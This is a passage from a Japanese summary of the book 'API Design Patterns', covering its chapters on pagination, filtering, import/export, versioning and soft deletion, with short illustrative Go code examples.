ページネーションの設計は、API全体の設計と一貫性を保つ必要があります。例えば、ページネーションパラメータの命名規則や、レスポンス形式などを統一することが重要です。結論第21章「Pagination」は、APIにおけるページネーションの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの使いやすさ、効率性、そして全体的なシステムのスケーラビリティを大きく向上させる可能性があります。特に重要な点は以下の通りです。ページネーションは、大規模なデータセットを扱う際に不可欠な機能です。最大ページサイズを使用し、正確なページサイズを保証しないことで、システムの柔軟性と効率性が向上します。ページトークンは不透明であるべきで、クライアントはその内容を理解したり操作したりする必要はありません。データの一貫性と可用性のバランスを取ることが重要です。完全な一貫性を保証することは難しい場合があり、この制限を明確に文書化する必要があります。ページネーションの設計は、システム全体のアーキテクチャ、パフォーマンス、スケーラビリティに大きな影響を与えます。これらの原則を適切に適用することで、開発者は使いやすく、効率的で、スケーラブルなAPIを設計することができます。特に、大規模なデータセットを扱う場合や、リソースが制限されている環境(モバイルアプリケーションなど)でのAPIの使用を想定している場合、ページネーションは極めて重要な役割を果たします。しかし、ページネーションの導入には慎重な検討も必要です。特に、データの一貫性、クライアント側の複雑性、キャッシュ戦略などの側面で課題が生じる可能性があります。これらの課題に適切に対処するためには、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、ページネーションの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の効率性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。ページネーションの適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で効率的なシステムを構築することができるでしょう。22 Filtering「API Design Patterns」の第22章「Filtering」は、APIにおけるフィルタリング機能の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はフィルタリングが単なる便利な機能ではなく、APIの効率性、使いやすさ、そして全体的なシステムのパフォーマンスにどのように影響を与えるかを明確に示しています。フィルタリングの必要性と概要著者は、標準的なリスト操作だけでは特定の条件に合致するリソースのみを取得することが困難であるという問題提起から議論を始めています。大規模なデータセットを扱う現代のシステムにおいて、クライアントが全てのリソースを取得してから必要なデータをフィルタリングするというアプローチは、非効率的であり、システムリソースの無駄遣いにつながります。この問題は、特にマイクロサービスアーキテクチャやクラウドネイティブ環境において顕著です。例えば、複数のマイクロサービスが協調して動作する環境では、各サービスが大量のデータを効率的に処理し、ネットワーク帯域幅を最適化する必要があります。サーバーサイドでのフィルタリングは、このような環境でのデータ転送を最適化し、システム全体のパフォーマンスと応答性を向上させる重要な手段となります。著者は、フィルタリングの基本的な実装として、標準的なリストリクエストにfilterフィールドを追加することを提案しています。このフィールドを通じて、クライアントは必要なデータの条件を指定し、サーバーはその条件に合致するリソースのみを返すことができます。フィルタリングの実装著者は、フィルタリングの実装に関して詳細なガイダンスを提供しています。特に注目すべき点は以下の通りです。フィルター表現の構造: 著者は、構造化されたフィルター(例:JSONオブジェクト)ではなく、文字列ベースのフィルター表現を推奨しています。これにより、APIの柔軟性が向上し、将来的な拡張が容易になります。実行時間の考慮: フィルター式の評価は、単一のリソースのコンテキスト内で完結すべきであり、外部データソースへのアクセスや複雑な計算を含むべきではありません。これにより、フィルタリング操作の予測可能性と効率性が確保されます。配列要素のアドレス指定: 著者は、配列内の特定の位置の要素を参照するフィルタリングを避け、代わりに配列内の要素の存在をチェックするアプローチを推奨しています。これにより、データの順序に依存しない柔軟なフィルタリングが可能になります。厳格性: フィルター式の解釈は厳格であるべきで、あいまいな表現や型の不一致は許容せず、エラーとして扱うべきです。これにより、フィルタリングの信頼性と予測可能性が向上します。カスタム関数: 基本的なフィルタリング機能では不十分な場合に備えて、カスタム関数の導入を提案しています。これにより、複雑なフィルタリング要件にも対応できます。これらの原則を適用した、Golangでのフィルタリング実装の例を以下に示します。type ListResourcesRequest struct { Filter string `json:\\"filter\\"` MaxPageSize int `json:\\"maxPageSize\\"` PageToken string `json:\\"pageToken\\"`}func (s *Service) ListResources(ctx context.Context, req *ListResourcesRequest) (*ListResourcesResponse, error) { filter, err := parseFilter(req.Filter) if err != nil { return nil, fmt.Errorf(\\"invalid filter: %w\\", err) } resources, err := s.repository.GetResources(ctx) if err != nil { return nil, err } var filteredResources []*Resource for _, resource := range resources { if filter.Evaluate(resource) { filteredResources = append(filteredResources, resource) } } // ページネーションの処理 // ... return &ListResourcesResponse{ Resources: filteredResources, NextPageToken: nextPageToken, }, nil}この実装例では、フィルター文字列をパースし、各リソースに対して評価関数を適用しています。フィルターの解析と評価は厳格に行われ、無効なフィルターや型の不一致はエラーとして扱われます。フィルタリングの影響とトレードオフ著者は、フィルタリング機能の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。パフォーマンスとスケーラビリティ: サーバーサイドでのフィルタリングは、ネットワーク帯域幅の使用を最適化し、クライアントの処理負荷を軽減します。しかし、複雑なフィルター式の評価はサーバーリソースを消費する可能性があります。柔軟性と複雑性のバランス: 文字列ベースのフィルター表現は高い柔軟性を提供しますが、解析と評価の複雑さが増加します。これは、エラーハンドリングとセキュリティの観点から慎重に管理する必要があります。一貫性と可用性: フィルタリング結果の一貫性を保証することは、特に分散システムにおいて課題となります。データの更新とフィルタリング操作のタイミングによっては、結果が異なる可能性があります。セキュリティの考慮: フィルター式の評価は、潜在的なセキュリティリスクを伴います。インジェクション攻撃や過度に複雑なクエリによるDoS攻撃の可能性に注意する必要があります。これらのトレードオフを適切に管理することが、フィルタリング機能の成功的な実装の鍵となります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの統合: フィルタリングはマイクロサービス間のデータ交換を最適化する上で重要な役割を果たします。各サービスが必要最小限のデータのみを要求・提供することで、システム全体の効率性が向上します。クエリ最適化: フィルタリング機能は、データベースクエリの最適化と密接に関連しています。効率的なインデックス設計やクエリプランの最適化が、フィルタリングのパフォーマンスに大きな影響を与えます。キャッシュ戦略: フィルタリング結果のキャッシングは、システムのパフォーマンスを大幅に向上させる可能性があります。しかし、キャッシュの有効性とデータの鮮度のバランスを取ることが課題となります。バージョニングと後方互換性: フィルター構文の進化は、APIのバージョニング戦略に影響を与えます。新機能の追加や変更が既存のクライアントに影響を与えないよう、慎重に管理する必要があります。モニタリングと可観測性: フィルタリング操作のパフォーマンスと使用パターンを監視することで、システムの最適化機会を特定できます。例えば、頻繁に使用されるフィルターパターンに対して特別な最適化を行うことが可能になります。フィルタリングとシステムアーキテクチャフィルタリング機能の設計は、システム全体のアーキテクチャに大きな影響を与えます。以下の点について考慮する必要があります。データモデルとスキーマ設計: 効率的なフィルタリングを実現するためには、適切なデータモデルとスキーマ設計が不可欠です。フィルタリングが頻繁に行われるフィールドに対しては、適切なインデックスを設定する必要があります。分散システムにおけるフィルタリング: マイクロサービスアーキテクチャにおいて、フィルタリングはしばしば複数のサービスにまたがって行われる必要があります。このような場合、フィルタリングロジックの配置と実行方法を慎重に設計する必要があります。リアルタイムシステムとの統合: ストリーミングデータや実時間性の高いシステムにおいて、フィルタリングはより複雑になります。データの到着と処理のタイミングを考慮したフィルタリング戦略が必要となります。セキュリティアーキテクチャ: フィルタリング機能は、データアクセス制御と密接に関連しています。ユーザーの権限に基づいて、フィルタリング可能なデータの範囲を制限する必要があります。エラー処理とレジリエンス: フィルタリング操作の失敗がシステム全体に与える影響を最小限に抑えるため、適切なエラー処理とフォールバック機構を実装する必要があります。結論第22章「Filtering」は、APIにおけるフィルタリング機能の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの使いやすさ、効率性、そして全体的なシステムのパフォーマンスを大きく向上させる可能性があります。特に重要な点は以下の通りです。フィルタリングは、大規模なデータセットを扱う現代のシステムにおいて不可欠な機能です。文字列ベースのフィルター表現を使用することで、APIの柔軟性と拡張性が向上します。フィルター式の評価は、単一のリソースのコンテキスト内で完結し、外部データソースへのアクセスを避けるべきです。フィルター式の解釈は厳格であるべきで、あいまいな表現や型の不一致はエラーとして扱うべきです。カスタム関数の導入により、複雑なフィルタリング要件にも対応できます。これらの原則を適切に適用することで、開発者は使いやすく、効率的で、スケーラブルなAPIを設計することができます。特に、大規模なデータセットを扱う場合や、リソースが制限されている環境(モバイルアプリケーションなど)でのAPIの使用を想定している場合、適切なフィルタリング機能の実装は極めて重要です。しかし、フィルタリング機能の導入には慎重な検討も必要です。特に、パフォーマンス、セキュリティ、データの一貫性などの側面で課題が生じる可能性があります。これらの課題に適切に対処するためには、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、フィルタリング機能の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の効率性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。フィルタリング機能の適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で効率的なシステムを構築することができるでしょう。23 Importing and exporting「API Design Patterns」の第23章「Importing and exporting」は、APIにおけるデータのインポートとエクスポートの重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はインポートとエクスポート機能が単なるデータ移動の手段ではなく、APIの効率性、柔軟性、そして全体的なシステムアーキテクチャにどのように影響を与えるかを明確に示しています。インポートとエクスポートの必要性と概要著者は、大規模なデータセットを扱う現代のシステムにおいて、効率的なデータの移動が不可欠であるという問題提起から議論を始めています。従来のアプローチでは、クライアントアプリケーションがAPIからデータを取得し、それを外部ストレージに保存する(またはその逆)という方法が一般的でした。しかし、このアプローチには大きな問題があります。特に、データがAPIサーバーとストレージシステムの近くに位置しているにもかかわらず、クライアントアプリケーションが遠隔地にある場合、大量のデータ転送が必要となり、効率が著しく低下します。著者は、この問題を解決するために、APIサーバーが直接外部ストレージシステムとやり取りするカスタムメソッドを導入することを提案しています。具体的には、importとexportという2つのカスタムメソッドです。これらのメソッドは、データの転送だけでなく、APIリソースとバイトデータ間の変換も担当します。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のマイクロサービスが協調して動作する環境では、各サービスが大量のデータを効率的に処理し、ネットワーク帯域幅を最適化する必要があります。インポート/エクスポート機能を適切に設計することで、サービス間のデータ移動を最適化し、システム全体のパフォーマンスと応答性を向上させることができます。インポートとエクスポートの実装著者は、インポートとエクスポートの実装に関して詳細なガイダンスを提供しています。特に注目すべき点は以下の通りです。構造の分離: 著者は、データの転送と変換を別々の設定インターフェースで管理することを提案しています。具体的には、DataSource/DataDestinationインターフェースでデータの移動を、InputConfig/OutputConfigインターフェースでデータの変換を管理します。この分離により、システムの柔軟性と再利用性が大幅に向上します。長時間実行操作(LRO): インポートとエクスポート操作は時間がかかる可能性があるため、著者はこれらの操作をLROとして実装することを推奨しています。これにより、クライアントは操作の進行状況を追跡し、完了を待つことができます。一貫性の考慮: エクスポート操作中にデータが変更される可能性があるため、著者はデータの一貫性について慎重に検討しています。完全な一貫性を保証できない場合、「スメア」(一時的な不整合)が発生する可能性があることを明確に示しています。識別子の扱い: インポート時に識別子をどのように扱うかについて、著者は慎重なアプローチを提案しています。特に、既存のリソースとの衝突を避けるため、インポート時に新しい識別子を生成することを推奨しています。失敗とリトライの処理: インポートとエクスポート操作の失敗とリトライについて、著者は詳細なガイダンスを提供しています。特に、インポート操作のリトライ時に重複リソースが作成されないよう、importRequestIdの使用を提案しています。これらの原則を適用した、Golangでのインポート/エクスポート機能の実装例を以下に示します。type ImportExportService struct { // サービスの依存関係}func (s *ImportExportService) ExportResources(ctx context.Context, req *ExportRequest) (*longrunning.Operation, error) { op := &longrunning.Operation{ Name: fmt.Sprintf(\\"operations/export_%s\\", uuid.New().String()), } go s.runExport(ctx, req, op) return op, nil}func (s *ImportExportService) runExport(ctx context.Context, req *ExportRequest, op *longrunning.Operation) { // エクスポートロジックの実装 // 1. リソースの取得 // 2. データの変換(OutputConfigに基づく) // 3. 外部ストレージへの書き込み(DataDestinationに基づく) // 4. 進捗の更新}func (s *ImportExportService) ImportResources(ctx context.Context, req *ImportRequest) (*longrunning.Operation, error) { op := &longrunning.Operation{ Name: fmt.Sprintf(\\"operations/import_%s\\", uuid.New().String()), } go s.runImport(ctx, req, op) return op, nil}func (s *ImportExportService) runImport(ctx context.Context, req *ImportRequest, op *longrunning.Operation) { // インポートロジックの実装 // 1. 外部ストレージからのデータ読み取り(DataSourceに基づく) // 2. データの変換(InputConfigに基づく) // 3. リソースの作成(importRequestIdを使用して重複を防ぐ) // 4. 進捗の更新}この実装例では、インポートとエクスポート操作を非同期で実行し、LROを通じて進捗を追跡できるようにしています。また、データの転送と変換を分離し、柔軟性を確保しています。インポートとエクスポートの影響とトレードオフ著者は、インポート/エクスポート機能の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。パフォーマンスとスケーラビリティ: APIサーバーが直接外部ストレージとやり取りすることで、データ転送の効率が大幅に向上します。しかし、これはAPIサーバーの負荷を増加させる可能性があります。一貫性と可用性のバランス: エクスポート中のデータ一貫性を保証することは難しく、「スメア」が発生する可能性があります。完全な一貫性を求めると、システムの可用性が低下する可能性があります。セキュリティの考慮: APIサーバーが外部ストレージに直接アクセスすることで、新たなセキュリティ上の課題が生じる可能性があります。適切なアクセス制御と認証メカニズムが不可欠です。運用の複雑さ: インポート/エクスポート機能の導入により、システムの運用が複雑になる可能性があります。特に、失敗したオぺレーションの処理とリカバリーには注意が必要です。バックアップ/リストアとの違い: 著者は、インポート/エクスポート機能がバックアップ/リストア機能とは異なることを強調しています。この違いを理解し、適切に使い分けることが重要です。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの統合: インポート/エクスポート機能は、マイクロサービス間のデータ移動を最適化する上で重要な役割を果たします。各サービスが独自のインポート/エクスポート機能を持つことで、サービス間のデータ交換が効率化されます。クラウドネイティブ環境での活用: クラウドストレージサービス(例:Amazon S3、Google Cloud Storage)との直接統合により、データの移動と処理を効率化できます。大規模データ処理: ビッグデータ分析や機械学習のためのデータ準備において、効率的なインポート/エクスポート機能は不可欠です。コンプライアンスとデータガバナンス: データのインポート/エクスポート操作をAPIレベルで制御することで、データの流れを一元管理し、コンプライアンス要件への対応を容易にします。障害復旧とシステム移行: 適切に設計されたインポート/エクスポート機能は、災害復旧やシステム移行シナリオにおいても有用です。結論第23章「Importing and exporting」は、APIにおけるデータのインポートとエクスポートの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの効率性、柔軟性、そして全体的なシステムアーキテクチャを大きく向上させる可能性があります。特に重要な点は以下の通りです。インポート/エクスポート機能は、APIサーバーと外部ストレージ間の直接的なデータ移動を可能にし、効率を大幅に向上させます。データの転送(DataSource/DataDestination)と変換(InputConfig/OutputConfig)を分離することで、システムの柔軟性と再利用性が向上します。長時間実行操作(LRO)として実装することで、クライアントは非同期で操作の進行状況を追跡できます。データの一貫性、識別子の扱い、失敗とリトライの処理には特別な注意が必要です。インポート/エクスポート機能はバックアップ/リストア機能とは異なることを理解し、適切に使い分けることが重要です。これらの原則を適切に適用することで、開発者は効率的で柔軟性の高いAPIを設計することができます。特に、大規模なデータセットを扱う場合や、複雑なマイクロサービスアーキテクチャを採用している場合、適切なインポート/エクスポート機能の実装は極めて重要です。しかし、この機能の導入には慎重な検討も必要です。特に、セキュリティ、データの一貫性、システムの複雑性の増加などの側面で課題が生じる可能性があります。これらの課題に適切に対処するためには、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、インポート/エクスポート機能の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にデータ移動の効率を向上させるだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。適切に設計されたインポート/エクスポート機能は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で効率的なシステムを構築することができるでしょう。Part 6 Safety and security最後のパートでは、APIの安全性とセキュリティに関する重要なトピックが扱われています。バージョニングと互換性の維持、ソフト削除、リクエストの重複排除、リクエストの検証、リソースのリビジョン管理、リクエストの再試行、リクエストの認証など、APIの信頼性と安全性を確保するための様々な手法が詳細に解説されています。これらの要素は、APIの長期的な運用と進化において極めて重要です。24 Versioning and compatibility「API Design Patterns」の第24章「Versioning and compatibility」は、APIのバージョニングと互換性の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はバージョニングと互換性の管理が単なる技術的な詳細ではなく、APIの長期的な成功と進化に直接影響を与える重要な戦略的決定であることを明確に示しています。バージョニングの必要性と互換性の概念著者は、ソフトウェア開発、特にAPIの進化が避けられない現実から議論を始めています。新機能の追加、バグの修正、セキュリティの向上など、APIを変更する理由は常に存在します。しかし、APIはその公開性と厳格性ゆえに、変更が難しいという特性を持っています。この緊張関係を解決するための主要な手段として、著者はバージョニングを提案しています。バージョニングの本質は、APIの変更を管理可能な形で導入し、既存のクライアントに影響を与えることなく新機能を提供することです。著者は、バージョニングの主な目的を「ユーザーに可能な限り多くの機能を提供しつつ、最小限の不便さで済ませること」と定義しています。この定義は、APIデザインにおける重要な指針となります。互換性の概念についても詳細に説明されています。著者は、互換性を「2つの異なるコンポーネントが正常に通信できる能力」と定義しています。APIのコンテキストでは、これは主にクライアントとサーバー間の通信を指します。特に、後方互換性(新しいバージョンのAPIが古いクライアントコードと正常に動作する能力)が重要です。この概念は、マイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。複数のサービスが互いに依存し合う環境では、一つのAPIの変更が全体のシステムに波及的な影響を与える可能性があります。適切なバージョニング戦略は、このような環境でのシステムの安定性と進化を両立させるために不可欠です。後方互換性の定義著者は、後方互換性の定義が単純ではないことを指摘しています。一見すると「既存のコードが壊れないこと」という定義で十分に思えますが、実際にはより複雑です。著者は、後方互換性の定義が「APIを利用するユーザーのプロファイルと期待」に大きく依存すると主張しています。例えば、新しい機能の追加は通常後方互換性があると考えられますが、リソースが制限されているIoTデバイスのような環境では、新しいフィールドの追加でさえメモリオーバーフローを引き起こす可能性があります。また、バグ修正についても、それが既存のクライアントの動作に影響を与える可能性がある場合、後方互換性を損なう可能性があります。著者は、以下のようなシナリオについて詳細に議論しています。新機能の追加バグ修正法的要件による強制的な変更パフォーマンスの最適化基礎となるアルゴリズムや技術の変更一般的な意味的変更これらの各シナリオにおいて、変更が後方互換性を持つかどうかは、APIのユーザーベースの特性と期待に大きく依存します。例えば、金融機関向けのAPIと、スタートアップ向けのAPIでは、安定性と新機能に対する要求が大きく異なる可能性があります。この議論は、APIデザインが単なる技術的な問題ではなく、ビジネス戦略と密接に関連していることを示しています。APIデザイナーは、技術的な側面だけでなく、ユーザーのニーズ、ビジネス目標、法的要件などを総合的に考慮してバージョニング戦略を決定する必要があります。バージョニング戦略著者は、いくつかの主要なバージョニング戦略について詳細に説明しています。永続的安定性(Perpetual stability): 各バージョンを永続的に安定させ、後方互換性のない変更は常に新しいバージョンで導入する戦略。アジャイル不安定性(Agile instability): アクティブなバージョンの「滑走窓」を維持し、定期的に古いバージョンを廃止する戦略。セマンティックバージョニング(Semantic versioning): メジャー、マイナー、パッチの3つの数字を使用して変更の性質を明確に示す戦略。各戦略には、それぞれ長所と短所があります。例えば、永続的安定性は高い安定性を提供しますが、新機能の導入が遅くなる可能性があります。一方、アジャイル不安定性は新機能の迅速な導入を可能にしますが、クライアントに頻繁な更新を強いる可能性があります。セマンティックバージョニングは柔軟性と明確性を提供しますが、多数のバージョンの管理が必要になる可能性があります。これらの戦略の選択は、APIのユースケース、ユーザーベース、開発リソース、ビジネス目標など、多くの要因に依存します。例えば、マイクロサービスアーキテクチャを採用している組織では、各サービスが独立してバージョニングを行う必要がありますが、全体的な一貫性も維持する必要があります。このような環境では、セマンティックバージョニングが適している可能性が高いです。Golangのコンテキストでは、以下のようなバージョニング戦略の実装例が考えられます。type APIVersion struct { Major int Minor int Patch int}type APIClient struct { Version APIVersion // その他のクライアント設定}func (c *APIClient) Call(endpoint string, params map[string]interface{}) (interface{}, error) { // バージョンに基づいてAPIコールを調整 if c.Version.Major == 1 { // v1のロジック } else if c.Version.Major == 2 { // v2のロジック } else { return nil, fmt.Errorf(\\"unsupported API version: %v\\", c.Version) } // 実際のAPI呼び出しロジック}このような実装により、クライアントは特定のAPIバージョンを指定して操作を行うことができ、サーバー側では各バージョンに応じた適切な処理を行うことができます。バージョニングのトレードオフ著者は、バージョニング戦略を選択する際の主要なトレードオフについて議論しています。粒度 vs 単純性: より細かいバージョン管理は柔軟性を提供しますが、複雑さも増加します。安定性 vs 新機能: 高い安定性を維持するか、新機能を迅速に導入するかのバランス。満足度 vs 普遍性: 一部のユーザーを非常に満足させるか、より多くのユーザーに受け入れられる方針を取るか。これらのトレードオフは、APIの設計と進化に大きな影響を与えます。例えば、高度に規制された産業向けのAPIでは、安定性と予測可能性が最も重要かもしれません。一方、急速に進化するテクノロジー分野では、新機能の迅速な導入が優先されるかもしれません。運用の観点からは、これらのトレードオフは以下のような影響を持ちます。インフラストラクチャの複雑さ: 多数のバージョンを同時にサポートする必要がある場合、インフラストラクチャの管理が複雑になります。モニタリングと可観測性: 各バージョンの使用状況、パフォーマンス、エラーレートを個別に監視する必要があります。デプロイメントの戦略: 新バージョンのロールアウトと古いバージョンの段階的な廃止をどのように管理するか。ドキュメンテーションとサポート: 各バージョンのドキュメントを維持し、サポートを提供する必要があります。結論第24章「Versioning and compatibility」は、APIのバージョニングと互換性管理の重要性と、その適切な実装方法を明確に示しています。著者の提案する原則は、APIの長期的な成功と進化を確保する上で非常に重要です。特に重要な点は以下の通りです。バージョニングは、APIの進化を可能にしつつ、既存のクライアントへの影響を最小限に抑えるための重要なツールです。後方互換性の定義は、APIのユーザーベースと彼らの期待に大きく依存します。バージョニング戦略の選択には、粒度vs単純性、安定性vs新機能、満足度vs普遍性などのトレードオフがあります。適切なバージョニング戦略は、APIの使用目的、ユーザーベース、開発リソース、ビジネス目標など、多くの要因を考慮して選択する必要があります。バージョニングはAPIの設計だけでなく、インフラストラクチャ、運用、サポートなど、システム全体に影響を与えます。これらの原則を適切に適用することで、開発者は長期的に持続可能で進化可能なAPIを設計することができます。特に、マイクロサービスアーキテクチャやクラウドネイティブ環境では、適切なバージョニング戦略が全体的なシステムの安定性と進化可能性を確保する上で極めて重要です。バージョニングと互換性の管理は、技術的な問題であると同時に、戦略的な決定でもあります。API設計者は、技術的な側面だけでなく、ビジネス目標、ユーザーのニーズ、法的要件、運用上の制約など、多くの要因を考慮してバージョニング戦略を決定する必要があります。適切に実装されたバージョニング戦略は、APIの長期的な成功と、それに依存するシステム全体の安定性と進化可能性を確保する重要な基盤となります。最後に、バージョニングと互換性の管理は継続的なプロセスであることを認識することが重要です。技術の進化、ユーザーのニーズの変化、新たな法的要件の出現などに応じて、バージョニング戦略を定期的に見直し、必要に応じて調整することが求められます。この継続的な管理と適応が、APIの長期的な成功と、それに依存するシステム全体の健全性を確保する鍵となります。25 Soft deletion「API Design Patterns」の第25章「Soft deletion」は、APIにおけるソフト削除の概念、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はソフト削除が単なるデータ管理の手法ではなく、APIの柔軟性、データの保全性、そして全体的なシステムの運用性にどのように影響を与えるかを明確に示しています。ソフト削除の動機と概要著者は、ソフト削除の必要性から議論を始めています。従来のハード削除(データの完全な削除)には、誤って削除されたデータを復元できないという重大な欠点があります。著者は、この問題に対する解決策としてソフト削除を提案しています。ソフト削除は、データを実際に削除せず、「削除された」とマークすることで、必要に応じて後で復元できるようにする手法です。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のサービスが相互に依存し合う環境では、一つのサービスでデータが誤って削除されると、システム全体に波及的な影響を与える可能性があります。ソフト削除を適切に実装することで、このようなリスクを軽減し、システムの回復力を高めることができます。著者は、ソフト削除の基本的な実装として、リソースに deleted フラグを追加することを提案しています。このフラグにより、リソースが削除されたかどうかを示すことができます。さらに、expireTime フィールドを追加することで、ソフト削除されたリソースの自動的な完全削除(ハード削除)のスケジューリングも可能になります。ソフト削除の実装著者は、ソフト削除の実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。標準メソッドの修正: 標準的なCRUD操作、特に削除(Delete)操作を修正し、ソフト削除をサポートする必要があります。リスト操作の調整: 標準的なリスト操作では、デフォルトでソフト削除されたリソースを除外し、オプションでそれらを含める機能を提供します。アンデリート操作: ソフト削除されたリソースを復元するための新しいカスタムメソッドを導入します。完全削除(Expunge)操作: ソフト削除されたリソースを完全に削除するための新しいカスタムメソッドを導入します。有効期限の管理: ソフト削除されたリソースの自動的な完全削除をスケジュールするための仕組みを実装します。これらの原則を適用した、Golangでのソフト削除の実装例を以下に示します。type Resource struct { ID string `json:\\"id\\"` Name string `json:\\"name\\"` Deleted bool `json:\\"deleted\\"` ExpireTime time.Time `json:\\"expireTime,omitempty\\"`}type ResourceService interface { Get(ctx context.Context, id string) (*Resource, error) List(ctx context.Context, includeDeleted bool) ([]*Resource, error) Delete(ctx context.Context, id string) error Undelete(ctx context.Context, id string) error Expunge(ctx context.Context, id string) error}func (s *resourceService) Delete(ctx context.Context, id string) error { resource, err := s.Get(ctx, id) if err != nil { return err } resource.Deleted = true resource.ExpireTime = time.Now().Add(30 * 24 * time.Hour) // 30日後に自動削除 return s.update(ctx, resource)}func (s *resourceService) List(ctx context.Context, includeDeleted bool) ([]*Resource, error) { resources, err := s.getAll(ctx) if err != nil { return nil, err } if !includeDeleted { return filterNonDeleted(resources), nil } return resources, nil}この実装例では、Resource 構造体に Deleted フラグと ExpireTime フィールドを追加し、Delete メソッドでソフト削除を実装しています。また、List メソッドでは includeDeleted パラメータを使用して、ソフト削除されたリソースを含めるかどうかを制御しています。ソフト削除の影響とトレードオフ著者は、ソフト削除の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。データストレージの増加: ソフト削除されたリソースはデータベースに残り続けるため、ストレージの使用量が増加します。これは、大規模なシステムでは無視できない問題となる可能性があります。パフォーマンスへの影響: ソフト削除されたリソースを除外するための追加的なフィルタリングが必要となるため、特にリスト操作のパフォーマンスに影響を与える可能性があります。複雑性の増加: ソフト削除を導入することで、APIの複雑性が増加します。これは、開発者の学習曲線を急にし、バグの可能性を増やす可能性があります。データの整合性: ソフト削除されたリソースへの参照をどのように扱うかという問題があります。これは、特に複雑な関係性を持つリソース間で重要な課題となります。セキュリティとプライバシー: ソフト削除されたデータが予想以上に長く保持される可能性があり、これはデータ保護規制(例:GDPR)との関連で課題となる可能性があります。これらのトレードオフを適切に管理することが、ソフト削除の成功的な実装の鍵となります。例えば、ストレージとパフォーマンスの問題に対しては、定期的なクリーンアップジョブを実装し、長期間ソフト削除状態にあるリソースを自動的に完全削除することが考えられます。また、データの整合性の問題に対しては、関連リソースの削除ポリシーを慎重に設計し、カスケード削除やリファレンスの無効化などの戦略を適切に選択する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの統合: ソフト削除は、マイクロサービス間のデータ整合性を維持する上で重要な役割を果たします。例えば、あるサービスでソフト削除されたリソースが、他のサービスではまだ参照されている可能性があります。このような場合、ソフト削除により、サービス間の整合性を保ちつつ、必要に応じてデータを復元することが可能になります。イベント駆動アーキテクチャとの連携: ソフト削除、アンデリート、完全削除などの操作をイベントとして発行することで、関連するシステムコンポーネントが適切に反応し、全体的な一貫性を維持することができます。データガバナンスとコンプライアンス: ソフト削除は、データ保持ポリシーやデータ保護規制への対応を容易にします。例えば、ユーザーデータの「忘れられる権利」(GDPR)に対応する際、ソフト削除を活用することで、データを即座に利用不可能にしつつ、法的要件に基づいて一定期間保持することが可能になります。監査とトレーサビリティ: ソフト削除を実装することで、リソースのライフサイクル全体を追跡することが容易になります。これは、システムの変更履歴を把握し、問題が発生した場合のトラブルシューティングを容易にします。バックアップと災害復旧: ソフト削除は、誤って削除されたデータの復旧を容易にします。これは、特に重要なビジネスデータを扱うシステムにおいて、データ損失のリスクを大幅に軽減します。パフォーマンス最適化: ソフト削除の実装には、適切なインデックス戦略が不可欠です。例えば、deleted フラグにインデックスを作成することで、非削除リソースの検索パフォーマンスを維持することができます。ストレージ管理: ソフト削除されたリソースの自動的な完全削除(エクスパイア)を実装することで、ストレージ使用量を管理しつつ、一定期間のデータ復元可能性を確保できます。これは、コストとデータ保護のバランスを取る上で重要です。ソフト削除とシステムアーキテクチャソフト削除の設計は、システム全体のアーキテクチャに大きな影響を与えます。以下の点について考慮する必要があります。データモデルとスキーマ設計: ソフト削除をサポートするために、全てのリソースに deleted フラグと expireTime フィールドを追加する必要があります。これは、データベーススキーマの設計に影響を与えます。クエリパフォーマンス: ソフト削除されたリソースを除外するために、ほとんどのクエリに追加の条件が必要になります。これは、特に大規模なデータセットでパフォーマンスに影響を与える可能性があります。適切なインデックス戦略が重要になります。バージョニングと互換性: ソフト削除の導入は、APIの大きな変更となる可能性があります。既存のクライアントとの互換性を維持しつつ、この機能をどのように導入するかを慎重に検討する必要があります。キャッシュ戦略: 